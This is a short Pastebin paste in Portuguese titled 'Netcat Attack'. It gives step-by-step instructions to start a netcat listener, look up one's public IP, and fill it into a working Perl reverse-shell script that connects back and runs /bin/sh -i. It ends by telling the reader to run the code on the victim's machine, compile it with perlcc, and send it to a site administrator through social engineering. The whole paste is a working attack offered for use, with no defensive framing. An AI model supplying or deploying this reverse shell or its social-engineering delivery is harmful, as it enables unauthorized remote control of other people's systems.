Advertisement
syst3m_h4x0r

Netcat Attack

Aug 12th, 2018
24,127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.61 KB | None | 0 0
  1. 1- Coloque sua rede com NAT
  2.  
  3. 2- Execute o netcat:
  4.  
  5. netcat -k -ll -p 5000
  6.  
  7.  
  8. 3- Pegue seu ip:
  9.  
  10. curl https://ipinfo.io
  11.  
  12.  
  13. 4- Coloque seu ip no script e salve com final .pl pois é perl
  14.  
  15. use Socket;
  16.  
  17. $ip = "TEU IP";
  18. $porta = 5000;
  19.  
  20. socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
  21.  
  22. if (connect(S,sockaddr_in($porta ,inet_aton( $ip ) ))){
  23. open(STDIN,">&S");
  24. open(STDOUT,">&S");
  25. open(STDERR,">&S");
  26. exec("/bin/sh -i");
  27. }
  28.  
  29.  
  30. Pronto, só executar seu codigo na maquina da vitima!
  31. Pode-se usar o "perlcc" para compilar, e enviar para o adm de algum site usando eng. social, e etc..
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement